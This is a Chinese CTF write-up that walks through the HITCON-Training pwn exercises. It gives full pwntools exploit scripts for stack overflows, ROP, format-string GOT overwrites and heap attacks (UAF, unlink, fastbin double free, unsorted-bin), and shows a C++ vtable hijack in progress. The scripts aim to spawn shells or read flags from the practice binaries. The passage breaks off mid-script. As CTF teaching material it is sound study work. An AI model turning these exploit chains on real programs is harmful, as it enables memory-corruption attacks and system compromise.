这是一个台湾大佬Angelboy搞的一个pwn练习题集合,题目种类丰富,从最开始的简单逆向调试题到栈溢出漏洞,格式化字符串漏洞,再到堆漏洞的题目,最后还有一个c++的题,涵盖的pwn知识点算是比较全的,当时我在稍微入门pwn后,就是跟着这里面的题边练习边学,受益良多,在这里分享给大家
题目地址:https://github.com/scwuaptx/HITCON-Training
这题是个简单的调试的题目,题意是让你输入一个整数,如果和随机数相同那么就能打印出flag,但实际上不需要这样,有以下三种方法可以操作:
从ida中提取出异或加密的数值,写脚本解密
可知,ebp-0x80的地方就是password存放地址,于是可以直接读出flag
(也可以使用IDA的nop功能,也就是使用keypatch)
先运行sysmagic,不要输入数字,保持输入的状态不变:
新开一个窗口,ps -aux |grep sysmagic,得到pid = 3505;
然后sudo gdb attach 3505;
b*0x08048720对0x08048720下断点,也就是在判断语句cmp edx,eax处
输入一个数字,gdb断下;
输入set $eip = 0x08048724,直接跳过jnz,直接执行for循环打印flag操作
c继续执行,看到有flag弹出。
checksec一波,只开了canary保护
接着扔到ida,发现是让你输入shellcode然后程序就去执行你的shellcode,
但正如这道题的名字orw,获取flag的方法是用open,read,write三个syscall来完成的,但不能用拿shell的方式,因为orw_seccomp()中的代码是这样的:
因为通过查资料发现这个prctl函数有点迷,限制了我们syscall的调用,具体的为什么限制,怎么样限制我也看得不是很懂,反正就是不能用system(/bin/sh)或者execve(/bin/sh)了
那就需要我们自己写shellcode执行cat flag,
内容为:
fp = open("flag",0)
read(fp,buf,0x30)
write(1,buf,0x30)
那我们需要查到,O'R'W'三个函数对应的系统调用号和参数应该调入的寄存器
这段代码对应的汇编是这样的:
> push 1;
> dec byte ptr [esp]; 先将1入栈后在用dec指令减1,得到0作为指针数组的第二个元素
> push 0x67616c66; 再将“flag”入栈作为指针数组的第一个元素
> mov ebx,esp; ebx指向栈顶也就是指向 open函数的第一个参数(指针数组)
> xor ecx,ecx; xor清零ecx对应第二个参数
> xor edx,edx; xor清零edx对应第三个参数
> xor eax,eax; xor清零eax
> mov al,0x5; 向eax传入系统调用号0x05
> int 0x80; 调用fp=open("flag",0)
> mov ebx,eax; ebx被赋值为0x05,read(fp,buf,0x30)
> xor eax,eax; xor清空eax
> mov al,0x3; 传入read函数对应的系统调用号
> mov ecx,esp; 将栈顶的地址传给ecx作为read的第二个参数,将flag文件中的内容入栈
> mov dl,0x30; read的第三个参数,读0x30个字符
> int 0x80; 调用read(fp,buf,0x30)
> mov al,0x4; write函数的系统调用号,write(1,buf,0x30)
> mov bl,1; ebx对应第一个参数
> mov dl,0x30; edx对应第三个参数
> int 0x80; 调用write(1,buf,0x30)
其实也可以用pwntools的asm函数来写:
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')
这道题是最基础的栈溢出,操作是把shellcode写到name的空间里面去,然后溢出v4的缓冲区,跳转到name的地址去执行shellcode从而getshell,但是也有一个小坑需要注意,v4在栈空间里面是以esp来寻址的,所以,v4的缓存区的大小是0x1c而不是0x14
exp如下
拿到题目按照老套,一波checksec+IDA:
一套看下来,就会发现,是一道简单的return to libc ,需要注意的地方是,第一个输入,是输入一个10进制的地址,然后返回这个地址的内容给你
由此就产生了思路:
利用这个功能去把puts函数的真实地址打印出来,也就是,去把got表中的内容搞出来,有了puts函数的真实地址,然后在把libc中各个函数的地址搞出来,算一下偏移量,就很容易得到system函数的真实地址,然后再用find命令或者用pwntools的函数,去找出“/bin/sh”的地址,这样我们就可以拿到shell了
exp如图:
按照老套路,一波checksec+IDA:
发现也还是一道比较简单的题目,但也学到了一些新的姿势
这道题 就一个输入,然后是静态链接,加载了很多东西进来,又开了nx保护,没有发现system函数,没有发现binsh参数
所以应该是ret2systemcall的题目,用rop,进行int0x80中断,执行系统调用
所以我们需要找到,有pop eax,ebx,ecx,edx,ret这样的gadget,通过一波搜索找到了这些:
> 0x080493e1 : int 0x80
> 0x080bae06 : pop eax ; ret
> 0x0806e82a : pop edx ; ret
> 0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret
但是我们要调用execve(/bin/sh)还需要参数,题目里面找不到参数,那么我们只能自己去写入了,写入就要用到一些新的姿势了,找到一种gadget,要有能将某个寄存器的内容写到内存的某个地方的功能,
通过一波搜索,我们找到了这些:
> 0x0807b301 : mov dword ptr [eax], edx ; ret
> .bss NOBITS 080eaf80 0a1f80 00136c 00 WA 0 0 32
这样一来,我们就可以先把bss段的地址给eax,然后再把参数给edx,然后执行这个gadget就能实现把参数写进bss段里面了,接着再开始把各个参数传给各个寄存器,实现系统调用
这道题目就不是很容易了qvq,涉及到了严重的知识盲区,
从题目来看,mian函数只能执行一次,那么ret2lib的操作就执行不了了,然后就一个输入,read读取0x40个字节到buf0x28的空间中,会溢出0x12个字节,那么可以用来构造的paylode长度就很有限了,这个时候就要用到一种叫做构造假栈帧的操作了
原理是,通过溢出,去执行一次read函数,把我们要接下来执行的rop链写到bss的某个地址里去(可以根据用readelf 命令去查一下bss的哪个地方有执行的权力),接着构造假的ebp,让ebp跳转到bss的某个地址中,从而让计算机把那个地址当成栈帧,达到构造假栈帧的目的。
我们首先用ROPgadget去找找可以用的gadget:
> 0x08048418 : leave ; ret #用于返回栈,改变ebp和esp的值
> 0x0804836d : pop ebx ; ret #p1ret 用于放参数 (参考系统调用)
> 0x08048569 : pop esi ; pop edi ; pop ebp ; ret #p3ret 用于最后同时控制ebp和esp,进行ret操作直接执行system(/bin/sh)
通过看图,可以很清楚的了解整个构造假栈帧的过程,重点在于理解esp和ebp是怎么样变化的
完整的exp是这样的:
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./migration')
elf = ELF("./migration")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
system_libc = libc.symbols["system"]
print "system_libc:"+hex(system_libc)
read_plt = elf.plt["read"]
print "read_plt:"+hex(read_plt)
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
puts_plt = elf.plt["puts"]
print "puts_plt:"+hex(puts_plt)
puts_libc = libc.symbols["puts"]
print "puts_libc:"+hex(puts_libc)
binsh_libc= libc.search("/bin/sh").next()
print "binsh_libc:"+hex(binsh_libc)
leave_ret = 0x08048418
p3ret = 0x08048569 #pop esi ; pop edi ; pop ebp ; ret
p1ret = 0x0804836d #pop_ebp_ret
buf1 = elf.bss() + 0x500
buf2 = elf.bss() + 0x400
payload = 'a'*40
payload +=p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
p.recvuntil(" :\n")
p.send(payload)
sleep(0.1)
payload=p32(buf2)+p32(puts_plt)+p32(p1ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)
p.send(payload)
sleep(0.1)
puts_addr =u32(p.recv(4))
print "puts_addr:"+hex(puts_addr)
offset = puts_addr - puts_libc
system_addr = system_libc + offset
binsh = binsh_libc +offset
'''
payload =p32(buf1)+p32(read_plt)+p32(p3ret)+p32(0)+p32(buf1)+p32(0x100)+p32(system_addr)+p32(0xdeadbeef)+p32(buf1)
p.send(payload)
sleep(0.1)
#p.send("/bin/sh\0")
p.interactive()
'''
payload =p32(buf1)+p32(system_addr)+"bbbb"+p32(binsh)
p.send(payload)
sleep(0.1)
p.interactive()
"""
0x08048418 : leave ; ret #用于返回栈
0x0804836d : pop ebx ; ret #p1ret 用于放参数
0x08048569 : pop esi ; pop edi ; pop ebp ; ret
#p3ret 用于平衡栈,从而继续执行后面的rop
"""
这是一道格式化字符串漏洞的题目,这道题还是比较简单的,就是给你一个随机数,猜对这个随机数了就给你cat flag,然后我们就利用printf函数的格式化字符串漏洞去泄漏出随机数的数值,这道题就迎刃而解了。
按照套路IDA+checksec一波:
可以看到这道题只有格式化字符串的问题,栈溢出完全没办法利用,另外还开了canary和NX
我们要泄漏password的话,首先得找到格式化字符串的地址在哪里,于是我们需要输入“AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p。。。。”这样的一大串东西,结果如下:
我们可以看到,%p泄漏出了printf栈里面的东西,并且可以发现AAAA也就是“0x41414141”在第十个位置,也就是说格式化字符串在栈的第十个位置,于是我们就可以构造:【泄漏地址】+%10$s,来把password给泄漏出来
完整exp如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./crack')
payload = p32(0x804A048)+'#'+'%10$s'+'#'
#为了方便下面接收的时候进行识别,需要用一个字符来加以标志
print payload # H\xa0\x0#%10$s#
p.recvuntil('What your name ? ')
p.sendline(payload)
p.recvuntil("#")
r = p.recvuntil("#")
print r # x\x9e`#
print r[:4] # x\x9e`
password = u32(r[:4])
print password # 1611505272
p.recvuntil("Your password :")
p.sendline(str(password))
p.interactive()
另外这道题有一点比较谜的地方是并不是每一次执行脚本都能成功,有一定的机率会失败,也就是猜错随机数,我在想是不是因为有时候生成的随机数过大占到了8个字节,然后我只泄漏了4个字节就会导致失败
其次,在我做完这道题后去看了一下大佬的wp,发现还可以直接把随机数改了,附上Veritas501大佬的wp:
from pwn import *
context.log_level = 'debug'
cn = process('./crack')
p_pwd = 0x0804A048
fmt_len = 10
cn.recv()
pay = fmtstr_payload(fmt_len,{p_pwd:1})
cn.sendline(pay)
cn.recv()
cn.sendline('1')
cn.recv()
cn.recv()
这也是一道简单的格式化字符串漏洞的题,但却有四种解法,学习到不少姿势
保护机制和上一题一样的,就不能用栈溢出的操作了
从这个反汇编的代码就可以看出有两种解法
一是覆盖218
二是覆盖-87117812
而第三种方法是,修改puts的got表为【system("cat /home/craxme/flag")】的地址,这样一来在执行到【puts("You need be a phd")】的时候会直接去执行【system("cat /home/craxme/flag")】
第四种方法是,修改puts的got表改到main中read的上面,把printf的got表改成system的plt表地址,这样就可以直接拿到shell了
测试格式化字符串的位置:
Please crax me !
Give me magic :AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0xffa6df7c.0x100.(nil).0xf7fef000.0x80482d2.0xf63d4e2e.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
You need be a phd
发现格式化字符串参数在第7个位置
以下是exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./craxme')
magic = 0x0804a038
catflag = 0x080485f6#或者0x080485d8
putsgot = 0x0804a018
printfgot = 0x0804a010
systemplt = 0x08048410
payload1 = p32(magic) + '%0214c'+'%7$n'
#覆盖小数字:218
#-----------------------------------------------------
'''
负数转化:
-87117812 --> 0xFACEB00C
\x0c
\xb0
\xce
\xfa
'''
payload2 = p32(magic) + p32(magic+1) + p32(magic+2)+ p32(magic+3)#4x4=16
payload2 += '%252c%7$hhn' #252+16 =268-->0x10c
payload2 += '%164c%8$hhn' #268+164 = 432 -->0x1b0
payload2 += '%30c%9$hhn' #432+30 =462 -->0x1ce
payload2 += '%44c%10$hhn' #462+44 =506 -->0x1fa
#覆盖大数字:-87117812
#payload2 = fmtstr_payload(7, {magic: 0xfaceb00c})
#也可以用这个函数来完成上面的payload的构造
#-----------------------------------------------------
payload3 = fmtstr_payload(7, {putsgot: catflag})
#-----------------------------------------------------
payload4 = fmtstr_payload(7, {putsgot:0x0804858B,printfgot:systemplt})
p.recvuntil('Give me magic :')
p.sendline(payload4)
p.interactive()
这道题就比较有难度了,找了很久只发现Veritas501大佬才写了这道题的wp,认真膜拜了一波,才理解这道题是怎么样做出来的
从IDA和checksec来看,就是开了NX保护,然后有个格式化字符串的漏洞,关键点在于,这次的buf不在栈上,而是在bss段里,这就导致我们构造的格式化字符串都在bss段了,这就很尴尬了,不能向之前一样用%s%p%n去读取和写入栈的数据了
于是我们只能间接得去写和读数据,通过ebp保存的数据从而实现数据的读写
我们可以看到在输入“asds”后的栈中的情况:
这里有用的就是这四条,分别是ebp1、fmt7、ebp2、fmt11,而他们相对于格式化字符串的偏移分别是6、7、10、11
0048| 0xffffceb8 --> 0xffffcec8 --> 0xffffced8 --> 0x0
0052| 0xffffcebc --> 0x8048584 (<play+59>: nop)
、、、、、、、、、、、、、
0064| 0xffffcec8 --> 0xffffced8 --> 0x0
0068| 0xffffcecc --> 0x80485b1 (<main+42>: nop)
从上我们可以看到,ebp1的内容是指向ebp2的地址的指针,而ebp2的内容又是指向其他地址的指针,因此如果我们用%n对ebp1进行操作,那么实际上会修改ebp2的值,如果此时再把ebp2的内容改成一个指向fmt7的指针,然后在对ebp2进行%n操作,那么就可以改变fmt7的内容,从而实现了间接修改某个地址的内容,试想一下,我们把fmt7的内容又改成printf的got表地址,那么fmt7就指向了printf_got的地址,如果用%s操作,就可以把printf_got的内容打印出来,从而得到了printf函数的真正地址,到了这里,我们就可以通过printf函数泄漏出system的真正地址了,于是这道题的解体思路就出来了:
1.通过ebp_1使ebp_2指向fmt_7
2.通过ebp_2将fmt_7处的内容覆盖成printf_got
3.通过ebp_1使ebp_2指向fmt_11
4.通过ebp_2将fmt_11处的内容修改成printf_got+2
5.通过fmt_7将printf_got地址泄露出来
6.计算出system函数的地址 ,将system函数地址写入printf在got表的地址
具体做法是将 system函数地址的前两个字节写入fmt_7,后两个字节写入 fmt_11
7.执行printf函数相当于执行system函数
8.输入"/bin/sh"字符串,让system函数从栈中取参数getshell
思路如图所示:
完整的exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./playfmt')
elf = ELF('./playfmt')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
printf_got = elf.got['printf']
system_libc = libc.symbols['system']
printf_libc = libc.symbols['printf']
p.recv()
log.info("**********leak printf_got************")
payload = '%6$x'
p.sendline(payload)
ebp2 = int(p.recv(),16)
ebp1 = ebp2 - 0x10
fmt_7 = ebp2 -0x0c
fmt_11 = ebp2 + 0x04
log.info("printf_got-->p[%s]"%hex(printf_got))
log.info("ebp_1-->p[%s]"%hex(ebp1))
log.info("ebp_2-->p[%s]"%hex(ebp2))
log.info("fmt_7-->p[%s]"%hex(fmt_7))
log.info("fmt_11-->p[%s]"%hex(fmt_11))
payload = '%' + str(fmt_7 & 0xffff) + 'c%6$hn'
#ebp2 = fmt_7
p.sendline(payload)
p.recv()
payload = '%' + str(printf_got & 0xffff) + 'c%10$hn'
#fmt_7 = prinf_got
p.sendline(payload)
p.recv()
while True:
p.send("23r3f")
sleep(0.1)
data = p.recv()
if data.find("23r3f") != -1:
break
'''
这个循环用于保证所有的字节都被输出,因为recv()一次最多只能接收0x1000
个字节,所以要进行多次recv()才能保证全部字节都输出以便进行下面的操作
需要注意的是,要构造一个字符串“23r3f”来作标志,返回的大量字符串中如果
包含了这个字符串那么说明之前构造的%n写入已经完成
'''
payload = '%' + str(fmt_11 & 0xffff) + 'c%6$hn'
#ebp2 = fmt_11
p.sendline(payload)
p.recv()
payload = '%' + str((printf_got+2) & 0xffff) + 'c%10$hn'
#fmt_11 = prinf_got + 2
p.sendline(payload)
p.recv()
while True:
p.send("23r3f")
sleep(0.1)
data = p.recv()
if data.find("23r3f") != -1:
break
log.info("******leaking the print_got_add*********")
payload = 'aaaa%7$s'
p.sendline(payload)
p.recvuntil("aaaa")
printf_addr = u32(p.recv(4))
log.info("print_got_add is:[%s]"%hex(printf_addr))
system_addr = printf_addr - printf_libc + system_libc
log.info("system_add is:[%s]"%hex(system_addr))
#pause()
payload = '%' +str(system_addr &0xffff) +'c%7$hn'
payload += '%' +str((system_addr>>16) - (system_addr &0xffff)) +'c%11$hn'
'''
这里需要注意的是,我们把system的地址的前后两个字节分别写到fmt-7和fmt-11中,
在写入后两个字节的时候要注意减去前面输入的(system_addr &0xffff)),这是因为
%n写入操作是算累积输入的字符个数
'''
p.sendline(payload)
p.recv()
while True:
p.send("23r3f")
sleep(0.1)
data = p.recv()
if data.find("23r3f") != -1:
break
p.sendline("/bin/sh")
'''
这个时候输入参数到栈中,本来下一步程序会调用printf函数,但是此时printf函数的got表
已经被修改为system的地址了,此时就会执行system并且从栈中取bin/sh参数
于是就这样getshell
'''
p.interactive()
hacknote
从这里开始就堆的题目了
可以看到没开多少保护,是一道简单的UAF的漏洞
在创建note的时候,malloc了两次,第一次malloc一个8字节大小的块去存一个函数指针,用来打印出chunk的内容,第二次malloc一个size大小的块去存note的内容
也就是一次新建note两次malloc,一次大小是8一次是输入的size
这个时候就很容易想到利用的方法了,也就是UAF----use after free
由于malloc和free的机制问题,先被free掉的块会很快用于新的malloc(如果大小合适的话)
从图可以看到这个程序中的delet功能和show功能是怎么样实现的
这里还有一个直接cat flag的函数,因此我们只要想办法调用这个函数就可以搞定了
解题的思路是:
此时的fast_bin的分布是这样的:
chunk2(8大小)-->-->chunk1(8大小)
chunk2(32大小)-->chunk1(32大小)
申请chunk4,大小为8,内容为magic的函数地址
申请chunk4的时候首先会申请一个8大小的空间,这时chunk2(8大小)的空间给了这个块,接着再申请size 大小的块,这时chunk1(8大小)的空间给了这个块
同时向chunk4中写入magic的函数地址,也就相对应向chunk1(8大小)写入magic的函数地址,此时原本存放puts函数指针的地方被magic函数覆盖了,也就导致了接下来打印chunk1内容的时候会直接执行magic
打印chunk1的内容,执行magic函数
exp如下:
#encoding:utf-8
from pwn import *
context(os="linux", arch="i386",log_level = "debug")
ip =""
if ip:
p = remote(ip,20004)
else:
p = process("./hacknote", aslr=0)
elf = ELF("./hacknote")
#libc = ELF("./libc-2.23.so")
#libc = elf.libc
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def getshell():
p.interactive()
catflag = 0x08048986
#add 0
ru("Your choice :")
sl("1")
ru("Note size :")
sl("32")
ru("Content :")
sd("aaaaaaaa")
#add 1
ru("Your choice :")
sl("1")
ru("Note size :")
sl("32")
ru("Content :")
sd("bbbbbbbb")
#add 2
ru("Your choice :")
sl("1")
ru("Note size :")
sl("32")
ru("Content :")
sd("cccccccc")
#free 0
ru("Your choice :")
sl("2")
ru("Index :")
sl("0")
#free 1
ru("Your choice :")
sl("2")
ru("Index :")
sl("1")
# gdb.attach(p)
# pause()
#add 3
ru("Your choice :")
sl("1")
ru("Note size :")
sl("8")
ru("Content :")
sd(p32(catflag))
#show
ru("Your choice :")
sl("3")
ru("Index :")
sl("0")
# ru("Your choice :")
# sl("4")
getshell()
先来看一下这题的基本信息和漏洞点
以上就是这道题目的漏洞点,大概有三种方法可以用来解题:
具体的原理可以看ctf-wiki中的介绍,不算难理解
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip =""
if ip:
p = remote(ip,20004)
else:
p = process("./bamboobox", aslr=0)
elf = ELF("./bamboobox")
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def getshell():
p.interactive()
def show():
ru("Your choice:")
sd("1")
def add(index,content):
ru("Your choice:")
sd("2")
ru("Please enter the length of item name:")
sd(str(index))
ru("Please enter the name of item:")
sd(content)
def change(index,length,content):
ru("Your choice:")
sd("3")
ru("Please enter the index of item:")
sd(str(index))
ru("Please enter the length of item name:")
sd(str(length))
ru("Please enter the new name of the item:")
sd(content)
def delete(index):
ru("Your choice:")
sd("4")
ru("Please enter the index of item:")
sd(str(index))
def chunk(i):
return 0x6020c8+i*0x10
magic = 0x400d49
atoi_got = elf.got["atoi"]
#--------------------------------------------------------------------
#方法一
add(0x50,'aaaa')
payload = 'a'*(0x50)+p64(0)+ p64(0xffffffffffffffff)
change(0,len(payload),payload)
# gdb.attach(p)
# pause()
heap_base = -(0x50 + 0x10)-(0x10+0x10)
malloc_offset = heap_base -0x10
add(malloc_offset,'bbbb')
pause()
add(0x10,p64(magic)*2)
#print p.recv()
pause()
ru("Your choice:")
sl("5")
getshell()
#方法二
add(0x80,"a"*8)chunk0
add(0x80,"b"*8)chunk1
add(0x80,"c"*8)chunk2
#需要注意,这三个chunk的大小都要保证不在fastbin的范围内
#因为fastbin的size的p位默认为1,就无法进行unlink操作
FD = 0x6020c8 - 3*8#在bss段,0x6020c8恰好存储了chunk0的指针
BK = FD +8
payload1 = p64(0)+p64(0x81)+p64(FD)+p64(BK)+"a"*0x60
payload1 += p64(0x80)+p64(0x90)
change(0,0x90,payload1)
delete(1)
#构造一个假的大小为0x80的fake_chunk,同时通过堆溢出
#将chunk1的pre_size和size进行修改,使得size的p位为0
#在free掉chunk1的时候,fake_chunk和chunk1就会进行合并
#这时就会对fake_chunk进行unlink操作
#这时就要对FD和BK进行精心构造,使得能够绕过unlink的检查
#也就是使得:FD->bk = p && BK->fd = p
#在通过检查后,unlink会导致:*p=p-3*8=0x6020c8 - 3*8
payload2 = p64(0)+p64(0)+p64(0x80)+p64(FD)+p64(0x80)+p64(atoi_got)
change(0,len(payload2),payload2)
change(1,0x10,p64(magic))
#这时向chunk0中输入内容,实际上也就是向0x6020c8 - 3*8中输入内容
#于是,就可以为所欲为地修改chunk_list,从而构造 UAF
ru("Your choice:")
sl("5")
getshell()
#ps:这里有个玄学问题是,只能改chunk1的为atoi的got表,改chunk0就不行。。。很迷
#方法三
#前面的内容和方法二一样,paylode2后就不一样
payload2 = p64(0)+p64(0)+p64(0x80)+p64(atoi_got)
#ps:是真的迷,如果用这种方法,改chunk0为atoi的got表就可以成功
change(0,0x20,payload2)
show()
ru("0 : ")
atoi = u64(ru("2 : ")[:6].ljust(8,"\x00"))
print "atoi----->"+hex(atoi)
#通过atoi的真实地址,去libc查找可以得到以下:
offset_system = 0x0000000000045390
offset_atoi = 0x0000000000036e80
libc_base = atoi-offset_atoi
system = libc_base+offset_system
change(0,0x8,p64(system))
sl("/bin/sh\x00")
sl("5")
getshell()
醉了,这题和网鼎杯半决赛的pwn3基本上一毛一样,就题目描述改了一下
整个程序由多个功能函数组成
add函数:
先创建了一个0x28大小的chunk来存储三个信息,一是标志位flag,二是指向name的指针,三是color的内容,
其中创建了一个用户指定大小的chunk用于存储name的内容
接着这个0x28大小的chunk被存储到bss段中去,表示每一个不同的flower,这里和常规的堆的题目一样,都有这样的chunk_list(flowerlist)存在
visit函数:
常规操作,把chunk的内容给打印输出,一般都是用于泄漏地址
del函数:
这个del函数的功能只是把name所在的chunk给free掉了,而先前创建0x28大小的chunk并没有被free掉
只有在clean函数,如下图,才是把先前创建0x28大小的chunk 给free掉
解题的思路如下:
ps:这里需要注意的是,在构造double-free的时候,需要注意绕过他的检验,使得fd+0x08指向的数值是0x70~0x7f的,fd指向pre_size位,fd+0x08则指向了size位。
具体原理可见:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/#fastbin-double-free
exp:
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip =""
if ip:
p = remote(ip,20004)
else:
p = process("./secretgarden")#, aslr=0
elf = ELF("./secretgarden")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#-------------------------------------
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def create(size,name,color):
ru("Your choice : ")
sl("1")
ru("Length of the name :")
sl(str(size))
ru("The name of flower :")
sd(name)
ru("The color of the flower :")
sl(color)
def visit():
ru("Your choice : ")
sl("2")
def remote(index):
ru("Your choice : ")
sl("3")
ru("Which flower do you want to remove from the garden:")
sl(str(index))
def clean():
ru("Your choice : ")
sl("4")
create(0x98,"a"*8,"1234")
create(0x68,"b"*8,"b"*8)
create(0x68,"b"*8,"b"*8)
create(0x20,"b"*8,"b"*8)
remote(0)
clean()
create(0x98,"c"*8,"c"*8)
visit()
ru("c"*8)
leak = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak -0x58-0x10 -libc.symbols["__malloc_hook"]
print "leak----->"+hex(leak)
malloc_hook = libc_base +libc.symbols["__malloc_hook"]
print "malloc_hook----->"+hex(malloc_hook)
print "libc_base----->"+hex(libc_base)
one_gadget = 0xf02a4 + libc_base
remote(1)
remote(2)
remote(1)
#debug()
create(0x68,p64(malloc_hook-0x23),"b"*4)
create(0x68,"b"*8,"b"*8)
create(0x68,"b"*8,"b"*8)
create(0x68,"a"*0x13+p64(one_gadget),"b"*4)
remote(1)
remote(1)
getshell()
常规的保护机制
这题应该算是一个off_by_one吧,只能溢出一个字节,改变下一个chunk的size,然后再free,然后再create,再进行操作
主要的漏洞点在edit函数:
主要的思路是:
exp如下:
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip =""
if ip:
p = remote(ip,20004)
else:
p = process("./heapcreator")#, aslr=0
elf = ELF("./heapcreator")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#-------------------------------------
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def create(size,contant):
ru("Your choice :")
sl("1")
ru("Size of Heap : ")
sl(str(size))
ru("Content of heap:")
sd(contant)
def edit(Index,contant):
ru("Your choice :")
sl("2")
ru("Index :")
sl(str(Index))
ru("Content of heap : ")
sd(contant)
def show(Index):
ru("Your choice :")
sl("3")
ru("Index :")
sl(str(Index))
def delete(Index):
ru("Your choice :")
sl("4")
ru("Index :")
sl(str(Index))
free_got = elf.got["free"]
print "free_got------>"+hex(free_got)
create(0x18,"a"*8)
create(0x10,"b"*8)
edit(0,"/bin/sh\x00"+"a"*0x10+p64(0x41))
#debug()
delete(1)
create(0x30,p64(0)*4+p64(0x30)+p64(free_got))
show(1)
ru("Content : ")
free = u64(p.recv(6).ljust(8,"\x00"))
libc_base = free- libc.symbols["free"]
system = libc_base+libc.symbols["system"]
print "free------>"+hex(free)
print "libc_base------>"+hex(libc_base)
edit(1,p64(system))
delete(0)
getshell()
#debug()
这里存在一个直接cat flag 的函数,只要想办法把magic 的值改得比0x1305大就行了
这里需要用到一个unsorted_bin的小操作
利用修改一个unsorted_bin的bk,使得指定的内存位置的值变得很大
首先,释放一个chunk到 unsorted bin 中。
接着利用堆溢出漏洞修改 unsorted bin 中对应堆块的 bk 指针为 &magic-16,再一次分配chunk的时候就会触发漏洞,会把magic的值改成一个大的数值
ctf-wiki上面其实也有针对这题的特别讲解,原理还是比较易懂
直接上exp:
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip =""
if ip:
p = remote(ip,20004)
else:
p = process("./magicheap")#, aslr=0
elf = ELF("./magicheap")
libc = elf.libc
#-------------------------------------
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def create(Size,contant):
ru("Your choice :")
sl("1")
ru("Size of Heap : ")
sl(str(Size))
ru("Content of heap:")
sd(contant)
def edit(index,Size,contant):
ru("Your choice :")
sl("2")
ru("Index :")
sl(str(index))
ru("Size of Heap : ")
sl(str(Size))
ru("Content of heap : ")
sd(contant)
def delete(index):
ru("Your choice :")
sl("3")
ru("Index :")
sl(str(index))
create(0x20, "aaaa") # 0
create(0x80, "aaaa") # 1
create(0x20, "aaaa") # 2
delete(1)
magic = 0x6020c0
fd = 0
bk = magic - 0x10
payload = "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk)
edit(0, 0x40,payload)
create(0x80, "aaaa")
p.recvuntil(":")
p.sendline("4869")
print p.recvall()
#getshell()
这题是c++编写的程序,打开IDA后发现反编译的东西真恶心,完全不知道怎么看,只能看题目提供的源码
从保护机制来看,连NX 都没开,八成就是用写入shellcode的操作了
这里涉及到一个c++虚表的知识点
大概意思是,在c++的类中的虚表会通过一个叫虚表的东西进行跳转从而执行函数
这题的解法的思路在于,修改虚表,跳转到shellcode的位置执行
通过IDA搜索功能,可以找到dog的虚表位置:0x403140
关于虚表的知识点,可以参考这位大佬的博客:http://showlinkroom.me
简单介绍一下,虚表大概是这样子的:
而我们要操作它,使他变成这样:
我们结合题目源代码,可以发现:是通过animallist数组来实现speak函数的,换句话说这个数组存着指向虚表的指针
如果我们,建立两个dog:(完整的exp在后面)
add_dog("a"*8,0)
add_dog("b"*8,1)
那么此时的堆分布是这样的:
由于,这一句代码会造成堆溢出,可以通过堆溢出来实现修改虚表的地址
再接着执行:
remove(0)
fake_vptr = nameofzoo + len(shellcode)
add_dog("c"*72 + p64(fake_vptr),2)
此时堆的分布变成了这样:
通过上面的图已经可以很清楚构造的过程了
接着就只需要去调用一次speak函数就行了,也就是调用一次listen()
完整的exp如下:
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip =""
if ip:
p = remote(ip,0000)
else:
